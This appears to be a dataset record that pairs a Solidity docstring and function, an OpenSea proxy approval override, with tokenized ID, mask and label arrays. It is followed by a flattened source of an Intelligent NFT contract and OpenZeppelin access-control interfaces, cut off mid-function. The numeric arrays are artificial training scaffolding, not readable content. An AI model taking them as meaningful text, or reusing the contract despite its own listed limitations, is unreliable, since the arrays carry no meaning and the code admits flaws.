* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings./ Whitelist OpenSea proxy contract for easy trading.
function isApprovedForAll( address _owner, address _operator ) public view returns (bool isOperator) { ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(_owner)) == _operator) { return true; } return ERC1155.isApprovedForAll(_owner, _operator); }
614,551
[ 1, 6618, 353, 31639, 1290, 1595, 358, 10734, 729, 1807, 3502, 1761, 69, 2889, 9484, 358, 4237, 16189, 17, 9156, 666, 899, 18, 19, 3497, 7523, 3502, 1761, 69, 2889, 6835, 364, 12779, 1284, 7459, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 353, 31639, 1290, 1595, 12, 203, 565, 1758, 389, 8443, 16, 203, 565, 1758, 389, 9497, 203, 225, 262, 1071, 1476, 1135, 261, 6430, 353, 5592, 13, 288, 203, 565, 7659, 4243, 2889, 4243, 273, 7659, 4243, 12, 5656, 4243, 1887, 1769, 203, 565, 309, 261, 2867, 12, 5656, 4243, 18, 20314, 606, 24899, 8443, 3719, 422, 389, 9497, 13, 288, 203, 1377, 327, 638, 31, 203, 565, 289, 203, 203, 565, 327, 4232, 39, 2499, 2539, 18, 291, 31639, 1290, 1595, 24899, 8443, 16, 389, 9497, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "./AccessExtension.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; /** * @title Intelligent NFT Interface * Version 1 * * @notice External interface of IntelligentNFTv1 declared to support ERC165 detection. * See Intelligent NFT documentation below. * * @author Basil Gorin */ interface IIntelligentNFTv1 { function totalSupply() external view returns (uint256); function exists(uint256 recordId) external view returns (bool); function ownerOf(uint256 recordId) external view returns (address); } /** * @title Intelligent NFT (iNFT) * Version 1 * * @notice Intelligent NFT (iNFT) represents an enhancement to an existing NFT * (we call it a "target" or "target NFT"), it binds a GPT-3 prompt (a "personality prompt") * to the target to embed intelligence, is controlled and belongs to the owner of the target. * * @notice iNFT stores AI Pod and some amount of ALI tokens locked, available to * unlocking when iNFT is destroyed * * @notice iNFT is not an ERC721 token, but it has some very limited similarity to an ERC721: * every record is identified by ID and this ID has an owner, which is effectively the target NFT owner; * still, it doesn't store ownership information itself and fully relies on the target ownership instead * * @dev Internally iNFTs consist of: * - personality prompt - a GPT-3 prompt defining its intelligent capabilities * - target NFT - smart contract address and ID of the NFT the iNFT is bound to * - AI Pod - ID of the AI Pod used to produce given iNFT, locked within an iNFT * - ALI tokens amount - amount of the ALI tokens used to produce given iNFT, also locked * * @dev iNFTs can be * - created, this process requires an AI Pod and ALI tokens to be locked * - destroyed, this process releases an AI Pod and ALI tokens previously locked; * ALI token fee may get withheld upon destruction * * @dev Some known limitations of Version 1: * - doesn't support ERC1155 as a target NFT * - only one-to-one iNFT-NFT bindings, * no many-to-one, one-to-many, or many-to-many bindings not allowed * - no AI Pod ID -> iNFT ID binding, impossible to look for iNFT by AI Pod ID * - no enumeration support, iNFT IDs created must be tracked off-chain, * or [recommended] generated with a predictable deterministic integer sequence, * for example, 1, 2, 3, ... * - no support for personality prompt upgrades (no way to update personality prompt) * - burn: doesn't allow to specify where to send the iNFT burning fee, sends ALI tokens * burner / transaction sender (iNFT Linker) * - burn: doesn't verify if its safe to send ALI tokens released back to NFT owner; * ALI tokens may get lost if iNFT is burnt when NFT belongs to a smart contract which * is not aware of the ALI tokens being sent to it * - no target NFT ID optimization; storage usage for IntelliBinding can be optimized * if short target NFT IDs are recognized and stored optimized * - AI Pod ERC721 and ALI ERC20 smart contracts are set during the deployment and cannot be changed * * @author Basil Gorin */ contract IntelligentNFTv1 is IIntelligentNFTv1, AccessExtension { /** * @notice Deployer is responsible for AI Pod and ALI tokens contract address initialization * * @dev Role ROLE_DEPLOYER allows executing `setPodContract` and `setAliContract` functions */ bytes32 public constant ROLE_DEPLOYER = keccak256("ROLE_DEPLOYER"); /** * @notice Minter is responsible for creating (minting) iNFTs * * @dev Role ROLE_MINTER allows minting iNFTs (calling `mint` function) */ bytes32 public constant ROLE_MINTER = keccak256("ROLE_MINTER"); /** * @notice Burner is responsible for destroying (burning) iNFTs * * @dev Role ROLE_BURNER allows burning iNFTs (calling `burn` function) */ bytes32 public constant ROLE_BURNER = keccak256("ROLE_BURNER"); /** * @dev Each intelligent token, represented by its unique ID, is bound to the target NFT, * defined by the pair of the target NFT smart contract address and unique token ID * within the target NFT smart contract * * @dev Effectively iNFT is owned by the target NFT owner * * @dev Additionally, each token holds an AI Pod and some amount of ALI tokens bound to it * * @dev `IntelliBinding` keeps all the binding information, including target NFT coordinates, * bound AI Pod ID, and amount of ALI ERC20 tokens bound to the iNFT */ struct IntelliBinding { // Note: structure members are reordered to fit into less memory slots, see EVM memory layout // ----- SLOT.1 (256/256) /** * @dev Personality prompt is a hash of the data used to feed GPT-3 algorithm */ uint256 personalityPrompt; // ----- SLOT.2 (160/256) /** * @dev Address of the target NFT deployed smart contract, * this is a contract a particular iNFT is bound to */ address targetContract; // ----- SLOT.3 (256/256) /** * @dev Target NFT ID within the target NFT smart contract, * effectively target NFT ID and contract address define the owner of an iNFT */ uint256 targetId; // ----- SLOT.4 (160/256) /** * @dev AI Pod ID bound to (owned by) the iNFT * * @dev Similar to target NFT, specific AI Pod is also defined by pair of AI Pod smart contract address * and AI Pod ID; the first one, however, is defined globally and stored in `podContract` constant. */ uint64 podId; /** * @dev Amount of an ALI ERC20 tokens bound to (owned by) the iNFTs * * @dev ALI ERC20 smart contract address is defined globally as `aliContract` constant */ uint96 aliValue; } /** * @notice iNFT binding storage, stores binding information for each existing iNFT * @dev Maps iNFT ID to its binding data, which includes underlying NFT data */ mapping (uint256 => IntelliBinding) public bindings; /** * @notice Reverse iNFT binding allows to find iNFT bound to a particular NFT * @dev Maps target NFT (smart contract address and unique token ID) to the linked iNFT: * NFT Contract => NFT ID => iNFT ID */ mapping (address => mapping(uint256 => uint256)) reverseBinding; /** * @notice Total amount (maximum value estimate) of iNFT in existence. * This value can be higher than number of effectively accessible iNFTs * since when underlying NFT gets burned this value doesn't get updated. */ uint256 public override totalSupply; /** * @notice Each iNFT holds an AI Pod which is tracked by the AI Pod NFT smart contract defined here */ address public podContract; /** * @notice Each iNFT holds some ALI tokens, which are tracked by the ALI token ERC20 smart contract defined here */ address public aliContract; /** * @dev Fired in mint() when new iNFT is created * * @param by an address which executed the mint function * @param owner current owner of the NFT * @param recordId ID of the iNFT to mint (create, bind) * @param payer and address which funds the creation (supplies AI Pod and ALI tokens) * @param podId ID of the AI Pod to bind (transfer) to newly created iNFT * @param aliValue amount of ALI tokens to bind (transfer) to newly created iNFT * @param targetContract target NFT smart contract * @param targetId target NFT ID (where this iNFT binds to and belongs to) * @param personalityPrompt personality prompt for the minted iNFT */ event Minted( address indexed by, address owner, uint64 recordId, address payer, uint64 podId, uint96 aliValue, address targetContract, uint256 targetId, uint256 personalityPrompt ); /** * @dev Fired in burn() when an existing iNFT gets destroyed * * @param by an address which executed the burn function * @param recordId ID of the iNFT to burn (destroy, unbind) * @param recipient and address which receives unlocked AI Pod and ALI tokens (NFT owner) * @param podId ID of the AI Pod to unbind (transfer) from the destroyed iNFT * @param aliValue amount of ALI tokens to unbind (transfer) from the destroyed iNFT * @param aliFee service fee in ALI tokens withheld by burn executor * @param targetContract target NFT smart contract * @param targetId target NFT ID (where this iNFT was bound to and belonged to) * @param personalityPrompt personality prompt for that iNFT */ event Burnt( address indexed by, uint64 recordId, address recipient, uint64 podId, uint96 aliValue, uint96 aliFee, address targetContract, uint256 targetId, uint256 personalityPrompt ); /** * @dev Fired in setPodContract() * * @param by an address which set the `podContract` * @param podContract AI Pod contract address set */ event PodContractSet(address indexed by, address podContract); /** * @dev Fired in setAliContract() * * @param by an address which set the `aliContract` * @param aliContract ALI token contract address set */ event AliContractSet(address indexed by, address aliContract); /** * @dev Creates/deploys an iNFT instance not bound to AI Pod / ALI token instances */ constructor() { // setup admin role for smart contract deployer initially _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } /** * @dev Binds an iNFT instance to already deployed AI Pod instance * * @param _pod address of the deployed AI Pod instance to bind iNFT to */ function setPodContract(address _pod) public { // verify sender has permission to access this function require(isSenderInRole(ROLE_DEPLOYER), "access denied"); // verify the input is set require(_pod != address(0), "AI Pod addr is not set"); // verify _pod is valid ERC721 require(IERC165(_pod).supportsInterface(type(IERC721).interfaceId), "AI Pod addr is not ERC721"); // setup smart contract internal state podContract = _pod; // emit an event emit PodContractSet(_msgSender(), _pod); } /** * @dev Binds an iNFT instance to already deployed ALI Token instance * * @param _ali address of the deployed ALI Token instance to bind iNFT to */ function setAliContract(address _ali) public { // verify sender has permission to access this function require(isSenderInRole(ROLE_DEPLOYER), "access denied"); // verify the input is set require(_ali != address(0), "ALI Token addr is not set"); // verify _ali is valid ERC20 require(IERC165(_ali).supportsInterface(type(IERC20).interfaceId), "ALI Token addr is not ERC20"); // setup smart contract internal state aliContract = _ali; // emit an event emit AliContractSet(_msgSender(), _ali); } /** * @inheritdoc IERC165 */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { // reconstruct from current interface and super interface return interfaceId == type(IIntelligentNFTv1).interfaceId || super.supportsInterface(interfaceId); } /** * @notice Verifies if given iNFT exists * * @param recordId iNFT ID to verify existence of * @return true if iNFT exists, false otherwise */ function exists(uint256 recordId) public view override returns (bool) { // verify if biding exists for that tokenId and return the result return bindings[recordId].targetContract != address(0); } /** * @notice Returns an owner of the given iNFT. * By definition iNFT owner is an owner of the target NFT * * @param recordId iNFT ID to query ownership information for * @return address of the given iNFT owner */ function ownerOf(uint256 recordId) public view override returns (address) { // read the token binding IntelliBinding memory binding = bindings[recordId]; // verify the binding exists and throw standard Zeppelin message if not require(binding.targetContract != address(0), "iNFT doesn't exist"); // delegate `ownerOf` call to the target NFT smart contract return IERC721(binding.targetContract).ownerOf(binding.targetId); } /** * @dev Restricted access function which creates an iNFT, binding it to the specified * NFT, locking the AI Pod specified, and funded with the amount of ALI specified * * @dev Transfers AI Pod defined by its ID into iNFT smart contract for locking; * linking funder must authorize the transfer operation before the mint is called * @dev Transfers specified amount of ALI token into iNFT smart contract for locking; * funder must authorize the transfer operation before the mint is called * @dev The NFT to be linked to doesn't required to belong to the funder, but it must exist * * @dev Throws if target NFT doesn't exist * * @dev This is a restricted function which is accessed by iNFT Linker * * @param recordId ID of the iNFT to mint (create, bind) * @param funder and address which funds the creation (supplies AI Pod and ALI tokens) * @param personalityPrompt personality prompt for that iNFT * @param podId ID of the AI Pod to bind (transfer) to newly created iNFT * @param aliValue amount of ALI tokens to bind (transfer) to newly created iNFT * @param targetContract target NFT smart contract * @param targetId target NFT ID (where this iNFT binds to and belongs to) */ function mint( uint64 recordId, address funder, uint256 personalityPrompt, uint64 podId, uint96 aliValue, address targetContract, uint256 targetId ) public { // verify the access permission require(isSenderInRole(ROLE_MINTER), "access denied"); // verify this token ID is not yet bound require(!exists(recordId), "iNFT already exists"); // verify the NFT is not yet bound require(reverseBinding[targetContract][targetId] == 0, "target NFT already linked"); // transfer the AI Pod from the specified address `_from` // using unsafe transfer to avoid unnecessary `onERC721Received` triggering // Note: we explicitly request AI Pod transfer from the linking funder to be safe // from the scenarios of potential misuse of AI Pods IERC721(podContract).transferFrom(funder, address(this), podId); // transfer the ALI tokens from the specified address `_from` // using unsafe transfer to avoid unnecessary callback triggering if(aliValue > 0) { // note: Zeppelin based AliERC20v1 transfer implementation fails on any error IERC20(aliContract).transferFrom(funder, address(this), aliValue); } // retrieve NFT owner and verify if target NFT exists address owner = IERC721(targetContract).ownerOf(targetId); // Note: we do not require funder to be NFT owner, // if required this constraint should be added by the caller (iNFT Linker) require(owner != address(0), "target NFT doesn't exist"); // bind AI Pod transferred and ALI ERC20 value transferred to an NFT specified bindings[recordId] = IntelliBinding({ personalityPrompt: personalityPrompt, targetContract: targetContract, targetId: targetId, podId: podId, aliValue: aliValue }); // fill in the reverse binding reverseBinding[targetContract][targetId] = recordId; // increase total supply counter totalSupply++; // emit an event emit Minted(_msgSender(), owner, recordId, funder, podId, aliValue, targetContract, targetId, personalityPrompt); } /** * @dev Restricted access function which destroys an iNFT, unbinding it from the * linked NFT, releasing an AI Pod, and ALI tokens locked in the iNFT * * @dev Transfers an AI Pod locked in iNFT to its owner via ERC721.safeTransferFrom; * owner must be an EOA or implement IERC721Receiver.onERC721Received properly * @dev Transfers ALI tokens locked in iNFT to its owner and a fee specified to * transaction executor * @dev Since iNFT owner is determined as underlying NFT owner, this underlying NFT must * exist and its ownerOf function must not throw and must return non-zero owner address * for the underlying NFT ID * * @dev Doesn't verify if it's safe to send ALI tokens to the NFT owner, this check * must be handled by the transaction executor * * @dev This is a restricted function which is accessed by iNFT Linker * * @param recordId ID of the iNFT to burn (destroy, unbind) * @param aliFee service fee in ALI tokens to be withheld */ function burn(uint64 recordId, uint96 aliFee) public { // verify the access permission require(isSenderInRole(ROLE_BURNER), "access denied"); // decrease total supply counter totalSupply--; // read the token binding IntelliBinding memory binding = bindings[recordId]; // verify binding exists require(binding.targetContract != address(0), "not bound"); // destroy binding first to protect from any reentrancy possibility delete bindings[recordId]; // free the reverse binding delete reverseBinding[binding.targetContract][binding.targetId]; // make sure fee doesn't exceed what is bound to iNFT require(aliFee <= binding.aliValue); // send the fee to transaction sender if(aliFee > 0) { // note: Zeppelin based AliERC20v1 transfer implementation fails on any error require(IERC20(aliContract).transfer(_msgSender(), aliFee)); } // determine an owner of the underlying NFT address owner = IERC721(binding.targetContract).ownerOf(binding.targetId); // verify that owner address is set (not a zero address) require(owner != address(0), "no such NFT"); // transfer the AI Pod to the NFT owner // using safe transfer since we don't know if owner address can accept the AI Pod right now IERC721(podContract).safeTransferFrom(address(this), owner, binding.podId); // transfer the ALI tokens to the NFT owner if(binding.aliValue > aliFee) { // note: Zeppelin based AliERC20v1 transfer implementation fails on any error IERC20(aliContract).transfer(owner, binding.aliValue - aliFee); } // emit an event emit Burnt(_msgSender(), recordId, owner, binding.podId, binding.aliValue, aliFee, binding.targetContract, binding.targetId, binding.personalityPrompt); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; /** * @title Access Control List Extension Interface * * @notice External interface of AccessExtension declared to support ERC165 detection. * See Access Control List Extension documentation below. * * @author Basil Gorin */ interface IAccessExtension is IAccessControl { function removeFeature(bytes32 feature) external; function addFeature(bytes32 feature) external; function isFeatureEnabled(bytes32 feature) external view returns(bool); } /** * @title Access Control List Extension * * @notice Access control smart contract provides an API to check * if specific operation is permitted globally and/or * if particular user has a permission to execute it. * * @notice It deals with two main entities: features and roles. * * @notice Features are designed to be used to enable/disable specific * functions (public functions) of the smart contract for everyone. * @notice User roles are designed to restrict access to specific * functions (restricted functions) of the smart contract to some users. * * @notice Terms "role", "permissions" and "set of permissions" have equal meaning * in the documentation text and may be used interchangeably. * @notice Terms "permission", "single permission" implies only one permission set. * * @dev OpenZeppelin AccessControl based implementation. Features are stored as * "self"-roles: feature is a role assigned to the smart contract itself * * @dev Automatically assigns the deployer an admin permission * * @dev This smart contract is designed to be inherited by other * smart contracts which require access control management capabilities. * * @author Basil Gorin */ contract AccessExtension is IAccessExtension, AccessControl { constructor() { // setup admin role for smart contract deployer initially _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } /** * @inheritdoc IERC165 */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { // reconstruct from current interface and super interface return interfaceId == type(IAccessExtension).interfaceId || super.supportsInterface(interfaceId); } /** * @notice Removes the feature from the set of the globally enabled features, * taking into account sender's permissions * * @dev Requires transaction sender to have a permission to set the feature requested * * @param feature a feature to disable */ function removeFeature(bytes32 feature) public override { // delegate to Zeppelin's `revokeRole` revokeRole(feature, address(this)); } /** * @notice Adds the feature to the set of the globally enabled features, * taking into account sender's permissions * * @dev Requires transaction sender to have a permission to set the feature requested * * @param feature a feature to enable */ function addFeature(bytes32 feature) public override { // delegate to Zeppelin's `grantRole` grantRole(feature, address(this)); } /** * @notice Checks if requested feature is enabled globally on the contract * * @param feature the feature to check * @return true if the feature requested is enabled, false otherwise */ function isFeatureEnabled(bytes32 feature) public override view returns(bool) { // delegate to Zeppelin's `hasRole` return hasRole(feature, address(this)); } /** * @notice Checks if transaction sender `msg.sender` has the role required * * @param role the role to check against * @return true if sender has the role required, false otherwise */ function isSenderInRole(bytes32 role) public view returns(bool) { // delegate call to `isOperatorInRole`, passing transaction sender return hasRole(role, _msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if(!hasRole(role, account)) { revert(string(abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ))); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if 